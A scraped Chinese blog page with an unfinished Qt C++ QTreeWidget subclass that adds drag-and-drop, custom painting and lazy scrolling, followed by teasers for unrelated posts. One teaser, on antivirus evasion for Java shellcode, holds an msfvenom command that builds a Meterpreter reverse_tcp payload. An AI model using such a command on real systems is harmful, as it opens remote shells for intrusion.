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Qt重写QTreeWidget实现拖拽

介绍

此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新,重写了部分代码,重写了滑块拖拽但是有bug。

效果展示

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实现功能

  1. 实现了自定义节点类来存储数据。
  2. item采用Label来实现富文本显示(数据量大不建议使用)。
  3. 重写了QTreeWidget拖拽,滚动,绘制。
  4. 拖拽实现了节点与节点之间的互相拖拽,仅移动。
  5. 实现了节点的递归遍历,查找,插入,删除。
  6. 实现了滚动刷新数据,大量数据也不卡,但是滚动条刷新数据稍微复杂未完成,且有bug。

代码

#ifndef MYTREEWIDGET_H
#define MYTREEWIDGET_H#include <QWidget>
#include <QtWidgets>
#include <QDebug>class MyTreeWidgetItem;
class TreeNode;
class MyLabel;// 自定义节点类
class TreeNode {
public:QString nodeText;QString nodeItemTest;QList<TreeNode*> children;TreeNode* parent = nullptr;MyTreeWidgetItem* item;// 重载==运算符以判断nodeText是否相等bool operator==(const TreeNode& other) const {return nodeText == other.nodeText;}
};class MyTreeWidgetItem :public QTreeWidgetItem
{
public:MyTreeWidgetItem();void setNodeText(QString str);QString getNodeText();QString m_Text;MyLabel* m_Label;int indexOfChild(QTreeWidgetItem *child){int childCount = this->childCount();for (int i = 0; i < childCount; ++i) {if (this->child(i) == child) {return i;}}return -1;}
};class MyLabel : public QLabel
{Q_OBJECT
public:MyLabel(QString text, QWidget *parent = nullptr);bool m_IsSelect = false;bool m_IsLeave = true;QString enterStyle;QString leaveStyle;QString selectStyle;
protected:bool eventFilter(QObject *watched, QEvent *event);
};class MyTreeWidget : public QTreeWidget
{Q_OBJECT
public:MyTreeWidget(QWidget *parent = nullptr);QList<TreeNode*> m_ListData;void wait(int ms); //等待// 删除具有特定文本的节点及其子节点bool deleteNodeByText(const QString& targetText) {for (int i = 0; i < m_ListData.size(); ++i) {TreeNode* node = m_ListData.at(i);if (node->nodeText == targetText) {// 找到目标节点,删除其子节点qDeleteAll(node->children);delete node;m_ListData.removeAt(i);return true; // 成功删除节点}}return false; // 未找到匹配的节点}//删除指定父节点下的子节点bool deleteChildNode(TreeNode* node, const QString& nodeText) {for (int i = 0; i < node->children.size(); ++i) {if (node->children.at(i)->nodeText == nodeText) {node->children.removeAt(i);return true;}}return false;}//根据nodeText递归查找该对象TreeNode* recursiveFindNodeByText(const QString& targetText, TreeNode* currentNode) {if (currentNode->nodeText == targetText) {return currentNode;}for (TreeNode* child : currentNode->children) {TreeNode* result = recursiveFindNodeByText(targetText, child);if (result) {return result;}}return nullptr; // 未找到匹配的节点}//根据nodeText递归查找该对象TreeNode* findNodeByText(const QString& targetText, const QList<TreeNode*>& nodeList) {for (TreeNode* node : nodeList) {TreeNode* result = recursiveFindNodeByText(targetText, node);if (result) {return result;}}return nullptr; // 未找到匹配的节点}//插入字节点 包括数据更新TreeNode* insertChileItem(TreeNode* parentNode, int row, QString itemText);//追加子节点TreeNode* appendChileItem(TreeNode* parentNode, QString itemText);//插入顶部节点TreeNode* insertTopItem(int row, QString itemText, bool isInster = true);//void updateItem(int row, TreeNode* node);//追加顶部节点TreeNode* appendTopItem(QString itemText);//删除顶部的item 以及数据列表void removeTopItem(TreeNode* node);//一个更新nodetext的变量保证每次更新节点都会变化int number = 0;double m_NodeSize = 0;double m_ScrollBarValue = 0;bool m_BarValueChangedTemp = false;bool m_WheelEventTemp = false;//递归插入void RecursionInsert(TreeNode* ParentNode, TreeNode* childNode);//展开所有子节点void expandAllItems(QTreeWidget* treeWidget, QTreeWidgetItem* item);void onScrollBarValueChanged(int value);
protected:void mouseMoveEvent(QMouseEvent *event);void mousePressEvent(QMouseEvent *event);void mouseReleaseEvent(QMouseEvent *event);void startDrag(Qt::DropActions supportedActions);void dragEnterEvent(QDragEnterEvent *event);void dragMoveEvent(QDragMoveEvent *event);void dropEvent(QDropEvent *event);void paintEvent(QPaintEvent* event);void wheelEvent(QWheelEvent *event);
private:TreeNode* m_CopyNode = nullptr; //当前拷贝的节点QPoint m_DragMovePos; //拖拽移动坐标QPoint m_CurPos; //点击保存坐标int m_LastScrollBarValue = 0;QMenu* m;MyTreeWidgetItem* m_CurrDragItem = nullptr; //保存当前正在拖拽的对象QScrollBar *m_VerticalScrollBar;
};#endif // MYTREEWIDGET_H
/******************************************************************************** Copyright [2023] <键鼠自动化>* All rights reserved.** version:     1.0* author:      lx* brief:       自定义item,重写绘制和拖拽,以及建立数据结构
*******************************************************************************/
#include "mytreewidget.h"MyTreeWidget::MyTreeWidget(QWidget *parent): QTreeWidget(parent)
{setDragEnabled(true);setAcceptDrops(true);setDragDropMode(DragDropMode::InternalMove);setHeaderHidden(true);m_VerticalScrollBar = this->verticalScrollBar();connect(m_VerticalScrollBar, &QScrollBar::valueChanged, this, &MyTreeWidget::onScrollBarValueChanged);m = new QMenu(this);QAction* action1 = new QAction("删除");QAction* action2 = new QAction("复制");QAction* action3 = new QAction("粘贴");connect(action1, &QAction::triggered, [=]() {MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem) {TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);if (targetNode->parent == nullptr) {this->removeTopItem(targetNode);}else {targetNode->parent->item->removeChild(targetNode->item);deleteChildNode(targetNode->parent, targetNode->nodeText);}}qDebug() << "1231231";});connect(action2, &QAction::triggered, [=](){MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem) {m_CopyNode = findNodeByText(targetItem->getNodeText(), m_ListData);}});connect(action3, &QAction::triggered, [=]() {MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem && m_CopyNode != nullptr) {TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);if (targetNode->parent == nullptr) {int targetRow = this->indexOfTopLevelItem(targetNode->item);if (m_CopyNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, m_CopyNode->nodeItemTest);}else {TreeNode* newParentNode = this->insertTopItem(targetRow + 1, m_CopyNode->nodeItemTest);for (int i = 0 ; i < m_CopyNode->children.size(); ++i) {this->RecursionInsert(newParentNode, m_CopyNode->children.at(i));}}}else {int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);if (m_CopyNode->children.isEmpty()) {this->insertChileItem(targetNode->parent, targetRow + 1, m_CopyNode->nodeItemTest);}else {TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, m_CopyNode->nodeItemTest);for (int i = 0 ; i < m_CopyNode->children.size(); ++i) {this->RecursionInsert(newParentNode, m_CopyNode->children.at(i));}}}m_CopyNode = nullptr;}});m->addAction(action1);m->addAction(action2);m->addAction(action3);
}void MyTreeWidget::wait(int ms)
{QElapsedTimer t;t.start();while (t.elapsed() < ms)QCoreApplication::processEvents();
}TreeNode *MyTreeWidget::insertChileItem(TreeNode *parentNode, int row, QString itemText)
{number++;QTreeWidgetItem* parentItem = parentNode->item; //获取父节点MyTreeWidgetItem* childItem = new MyTreeWidgetItem(); //创建子节点childItem->setNodeText(QString("child%1").arg(number));MyLabel* label = new MyLabel(itemText); //创建labelchildItem->m_Label = label;TreeNode* childData = new TreeNode; //创建子节点对象数据childData->parent = parentNode;childData->item = childItem;childData->nodeText = QString("child%1").arg(number);childData->nodeItemTest = itemText;parentNode->children.insert(row, childData); //父节点对象数据插入子节点parentItem->insertChild(row, childItem); //父节点item插入子节点itemsetItemWidget(childItem, 0, label); //item转换lablereturn childData;
}TreeNode *MyTreeWidget::appendChileItem(TreeNode *parentNode, QString itemText)
{number++;QTreeWidgetItem* parentItem = parentNode->item;MyTreeWidgetItem* childItem = new MyTreeWidgetItem();childItem->setNodeText(QString("child%1").arg(number));MyLabel* label = new MyLabel(itemText);childItem->m_Label = label;TreeNode* childData = new TreeNode;childData->parent = parentNode;childData->item = childItem;childData->nodeText = QString("child%1").arg(number);childData->nodeItemTest = itemText;parentNode->children.append(childData);parentItem->addChild(childItem);setItemWidget(childItem, 0, label);return childData;
}TreeNode* MyTreeWidget::insertTopItem(int row, QString itemText, bool isInster)
{number++;MyTreeWidgetItem* parentItem = new MyTreeWidgetItem();parentItem->setNodeText(QString("parent%1").arg(number));TreeNode* parentData = new TreeNode;parentData->item = parentItem;parentData->nodeText = QString("parent%1").arg(number);parentData->nodeItemTest = itemText;if (isInster) {MyLabel* label = new MyLabel(itemText);parentItem->m_Label = label;insertTopLevelItem(row, parentItem);setItemWidget(parentItem, 0, label);}m_ListData.insert(row, parentData);return parentData;
}void MyTreeWidget::updateItem(int row, TreeNode *node)
{qDebug() << row << node->nodeItemTest << "aaaa";MyLabel* label = new MyLabel(node->nodeItemTest);node->item->m_Label = label;insertTopLevelItem(row, node->item);
//    setItemWidget(node->item, 0, label);
}TreeNode *MyTreeWidget::appendTopItem(QString itemText)
{number++;MyTreeWidgetItem* parentItem = new MyTreeWidgetItem();parentItem->setNodeText(QString("parent%1").arg(number));MyLabel* label = new MyLabel(itemText);parentItem->m_Label = label;TreeNode* parentData = new TreeNode;parentData->item = parentItem;parentData->nodeText = QString("parent%1").arg(number);parentData->nodeItemTest = itemText;addTopLevelItem(parentItem);setItemWidget(parentItem, 0, label);m_ListData.append(parentData);return parentData;
}void MyTreeWidget::removeTopItem(TreeNode *node)
{int index = indexOfTopLevelItem(node->item);takeTopLevelItem(index);deleteNodeByText(node->nodeText);
}void MyTreeWidget::RecursionInsert(TreeNode *ParentNode, TreeNode *childNode)
{TreeNode* node = this->appendChileItem(ParentNode, childNode->nodeItemTest);for (int i = 0 ; i < childNode->children.size(); ++i) {this->RecursionInsert(node, childNode->children.at(i));}
}void MyTreeWidget::expandAllItems(QTreeWidget *treeWidget, QTreeWidgetItem *item)
{if (item) {treeWidget->expandItem(item); // 展开当前项// 递归展开子项for (int i = 0; i < item->childCount(); ++i) {expandAllItems(treeWidget, item->child(i));}}
}void MyTreeWidget::onScrollBarValueChanged(int value)
{//m_BarValueChangedTemp用于该函数在没有结束的时候又进来了如果不调用takeTopLevelItem就没事,如果没有m_BarValueChangedTemp在该函数未结束还会进入导致崩溃int step = 3; //滚动一次刷新三条数据if (value >= m_VerticalScrollBar->maximum()) {for (int index = 0; index < 1; ++index) {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex + 100 < m_ListData.size()) {step = 1000;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}}qDebug() << QDateTime::currentDateTime() << "222222222222222222";m_VerticalScrollBar->setValue(value-5);}/*  if (m_BarValueChangedTemp) {qDebug() << "onScrollBarValueChanged未结束就进入";return;}if (m_WheelEventTemp) {qDebug() << "wheelEvent正在滚动中";return;}m_BarValueChangedTemp = true;qDebug() << value << m_LastScrollBarValue<<  this->topLevelItemCount();int step = 3; //滚动一次刷新三条数据if (m_LastScrollBarValue > value) {// 上拉int number = m_LastScrollBarValue - value;for (int index = 0; index < number; ++index) {MyTreeWidgetItem* topItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(0));TreeNode* topNode = findNodeByText(topItem->getNodeText(), m_ListData);int topIndex = m_ListData.indexOf(topNode);if (topIndex - 3 > 0) {step = 3;}else {step = topIndex;}for (int i = step; i > 0; --i) {//尾部追加显示//获取当前底部的数据topIndex--;updateItem(0, m_ListData.at(topIndex));}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(this->topLevelItemCount() - 1);}}}else {int number = value - m_LastScrollBarValue;qDebug() << QDateTime::currentDateTime() << "111111111111111";for (int index = 0; index < number; ++index) {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex + 3 < m_ListData.size()) {step = 3;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}}qDebug() << QDateTime::currentDateTime() << "222222222222222222";}m_ScrollBarValue = value;m_LastScrollBarValue = value;m_VerticalScrollBar->setValue(value);m_BarValueChangedTemp = false;*/
}void MyTreeWidget::mouseMoveEvent(QMouseEvent *event)
{QTreeWidget::mouseMoveEvent(event);
}void MyTreeWidget::mousePressEvent(QMouseEvent *event)
{QTreeWidget::mousePressEvent(event);m_CurPos = event->pos();if (event->buttons() & Qt::RightButton) {m->move((QCursor::pos()));m->show();}}void MyTreeWidget::mouseReleaseEvent(QMouseEvent *event)
{QTreeWidget::mouseReleaseEvent(event);
}void MyTreeWidget::startDrag(Qt::DropActions supportedActions)
{//拖拽重写此函数下发当前拖拽对象的nodetextQ_UNUSED(supportedActions);MyTreeWidgetItem* currItem = dynamic_cast<MyTreeWidgetItem*>(this->currentItem());if (currItem) {QString text = currItem->getNodeText();QMimeData* mimeData = new QMimeData;mimeData->setData("application/labelData", text.toUtf8());QDrag* drag = new QDrag(this);drag->setMimeData(mimeData);m_CurrDragItem = currItem;drag->start(Qt::MoveAction);}
}void MyTreeWidget::dragEnterEvent(QDragEnterEvent *event)
{QTreeWidget::dragEnterEvent(event);// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {event->acceptProposedAction();}
}void MyTreeWidget::dragMoveEvent(QDragMoveEvent *event)
{QTreeWidget::dragMoveEvent(event);// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {event->acceptProposedAction();m_DragMovePos = event->pos();viewport()->update();}}void debugTreeData(TreeNode* node, int depth = 0) {QString kongge;for (int i = 0; i < depth; ++i) {kongge.append("----");}qDebug() << kongge << node->nodeItemTest << node->nodeText;for (int i = 0; i < node->children.size(); ++i) {debugTreeData(node->children.at(i), depth + 1); // 递归时深度加1}
}void MyTreeWidget::dropEvent(QDropEvent *event)
{// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {QString itemData = event->mimeData()->data("application/labelData");MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(event->pos()));m_CurrDragItem = nullptr;if (!targetItem) {return;}qDebug() << itemData << "-------------------" << targetItem->getNodeText();TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);TreeNode* sourceNode = findNodeByText(itemData, m_ListData);if (sourceNode && targetNode) {// 找到了匹配的节点,可以对其进行操作qDebug() << "找到了匹配的节点,可以对其进行操作" << targetNode->nodeText << sourceNode->nodeText;if (sourceNode->parent == nullptr && targetNode->parent == nullptr) { //父与父//当前是父节点与父节点直接拖拽int targetRow = this->indexOfTopLevelItem(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);if (targetRow != sourceRow) {qDebug() << "1111111111111111" << targetRow << sourceRow;//在目标源下插入一行if (sourceNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);//删除来源itemthis->removeTopItem(sourceNode);}else if (!sourceNode->children.isEmpty()) {//如果来源里面有子节点就需要递归插入,先查入头节点TreeNode* newParentNode = this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemthis->removeTopItem(sourceNode);deleteNodeByText(sourceNode->nodeText);}else {qDebug() << "未知动作!!!!!!!!!!!!!!!!!!!!!!!!";}}}else if (sourceNode->parent != nullptr && targetNode->parent != nullptr) { //子与子//双方都是子节点int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = sourceNode->parent->item->indexOfChild(sourceNode->item);qDebug() << "44444444444444" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;if (recursiveFindNodeByText(targetNode->nodeText, sourceNode) != nullptr) {//来源节点中不能有目标节点return;}if (sourceNode->children.isEmpty()) {this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);sourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}else if (!sourceNode->children.isEmpty()) {TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemsourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}}else if (sourceNode->parent != nullptr && targetNode->parent == nullptr) { //子与父//来源是子节点,指向端是父节点int targetRow = this->indexOfTopLevelItem(targetNode->item);int sourceRow = sourceNode->parent->item->indexOfChild(sourceNode->item);qDebug() << "222222222222222222" << targetRow << sourceRow << sourceNode->parent->nodeItemTest << sourceNode->nodeItemTest;if (sourceNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);sourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}else if (!sourceNode->children.isEmpty()) {TreeNode* newParentNode = this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemsourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}}else if (sourceNode->parent == nullptr && sourceNode->children.isEmpty() && targetNode->parent != nullptr) { //空父 与子//来源父节点 且没有子节点 且指向端是子节点int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);qDebug() << "333333333333" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);this->removeTopItem(sourceNode);}else if (sourceNode->parent == nullptr && !sourceNode->children.isEmpty() && targetNode->parent != nullptr) { //父多子 与子//来源父节点 有子节点 且指向端是子节点if (recursiveFindNodeByText(targetNode->nodeText, sourceNode) != nullptr) {//来源节点中不能有目标节点return;}int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);qDebug() << "5555555555555" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemthis->removeTopItem(sourceNode);deleteNodeByText(sourceNode->nodeText);}} else {// 未找到匹配的节点qDebug() << "未找到匹配的节点2";}}//    for (int i = 0; i < m_ListData.size(); ++i) {//        debugTreeData(m_ListData.at(i));//    }
}void MyTreeWidget::paintEvent(QPaintEvent *event)
{// qDebug() << "123123123123";QTreeWidget::paintEvent(event);QPainter painter(viewport());if (m_CurrDragItem != nullptr) {QModelIndex hoveredIndex = indexAt(m_DragMovePos);MyTreeWidgetItem* mcurrMoveItem = dynamic_cast<MyTreeWidgetItem*>(itemFromIndex(hoveredIndex));if (mcurrMoveItem) {QRect rect = visualRect(hoveredIndex); // 获取悬停项的矩形区域QString labelText = mcurrMoveItem->m_Label->text();qDebug()<< "---------------" << labelText << rect << "-----------------";painter.setPen(QPen(QColor(34, 142, 243), 2)); // 设置线条颜色和粗细// 绘制线条painter.drawLine(rect.x() + 6, rect.y() + rect.height(), rect.x() + rect.width() - 6, rect.y() + rect.height()); // 绘制底部线条// 绘制头部小圆圈painter.setBrush(QBrush(QColor(34, 142, 243))); // 设置圆圈颜色painter.drawEllipse(QPoint(rect.x() + 2, rect.y() + rect.height()), 2, 2); // 绘制小圆圈// 绘制尾部小圆圈painter.drawEllipse(QPoint(rect.x() + rect.width()-2, rect.y() + rect.height()), 2, 2); // 绘制小圆圈}}
}void MyTreeWidget::wheelEvent(QWheelEvent *event)
{if (m_WheelEventTemp) {qDebug() << "wheelEvent未结束就进入";return;}if (m_VerticalScrollBar->isSliderDown()) {qDebug() << "正在拖拽滚动条";return;}m_WheelEventTemp = true;qDebug() << "1111111111111111111" << event->angleDelta().y() <<this->topLevelItemCount() << m_VerticalScrollBar->isSliderDown();int number = qAbs(event->angleDelta().y()) / 120;int step = 3; //滚动一次刷新三条数据for (int i = 0; i < number; ++i) {if (event->angleDelta().y() > 0) {MyTreeWidgetItem* topItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(0));TreeNode* topNode = findNodeByText(topItem->getNodeText(), m_ListData);int topIndex = m_ListData.indexOf(topNode);if (topIndex - 3 > 0) {step = 3;}else {step = topIndex;}for (int i = step; i > 0; --i) {//尾部追加显示//获取当前底部的数据topIndex--;updateItem(0, m_ListData.at(topIndex));}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(this->topLevelItemCount() - 1);}if (m_ScrollBarValue > 0) {m_ScrollBarValue -= double(m_VerticalScrollBar->maximum()) / double(m_ListData.size() / (step == 0 ? 1 : step));qDebug() << "向上滚动" << topIndex <<m_ScrollBarValue;m_VerticalScrollBar->setValue(m_ScrollBarValue);}}else {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex+3 < m_ListData.size()) {step = 3;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}if (m_VerticalScrollBar->value() < m_VerticalScrollBar->maximum()) {m_ScrollBarValue += double(m_VerticalScrollBar->maximum()) / double(m_ListData.size() / (step == 0 ? 1 : step));qDebug() << "向下滚动" << bottomIndex <<m_ScrollBarValue;m_VerticalScrollBar->setValue(m_ScrollBarValue);}}}m_WheelEventTemp = false;
}MyTreeWidgetItem::MyTreeWidgetItem()
{}void MyTreeWidgetItem::setNodeText(QString str)
{m_Text = str;
}QString MyTreeWidgetItem::getNodeText()
{return m_Text;
}MyLabel::MyLabel(QString text, QWidget *parent): QLabel(parent)
{setText(text);installEventFilter(this);enterStyle = "background-color: rgb(225, 243, 255);";leaveStyle = "background-color: white;";selectStyle = "background-color: rgb(204, 232, 255);";
}bool MyLabel::eventFilter(QObject *watched, QEvent *event)
{return QWidget::eventFilter(watched, event);
}
#include "widget.h"
#include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget)
{ui->setupUi(this);m_MyTreeWidget = new MyTreeWidget();//    if (1) {qDebug() << QDateTime::currentDateTime() << "111111111111111";for (int i = 0; i < 100000; ++i) {if (i >= 100) {m_MyTreeWidget->insertTopItem(i, QString("父节点%1").arg(i+1), false);}else {m_MyTreeWidget->insertTopItem(i, QString("父节点%1").arg(i+1));}}qDebug() << QDateTime::currentDateTime() << "2222222222222";//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(0), m_MyTreeWidget->m_ListData.at(0)->item->childCount(),QString("子节点%1").arg(i+1));//    }//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(1), m_MyTreeWidget->m_ListData.at(1)->item->childCount(),QString("子节点%1").arg(i+1));//    }//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(2), m_MyTreeWidget->m_ListData.at(2)->item->childCount(),QString("子节点%1").arg(i+1));//    }//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(3), m_MyTreeWidget->m_ListData.at(3)->item->childCount(),QString("子节点%1").arg(i+1));//    }ui->gridLayout->addWidget(m_MyTreeWidget);// 在您的代码中调用此函数来展开所有项//m_MyTreeWidget->expandAllItems(m_MyTreeWidget, m_MyTreeWidget->invisibleRootItem());
}Widget::~Widget()
{delete ui;
}

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一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

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随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

Mybatis返回自动递增主键值,通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

数据结构——排序

排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

资深java面试题及答案整理

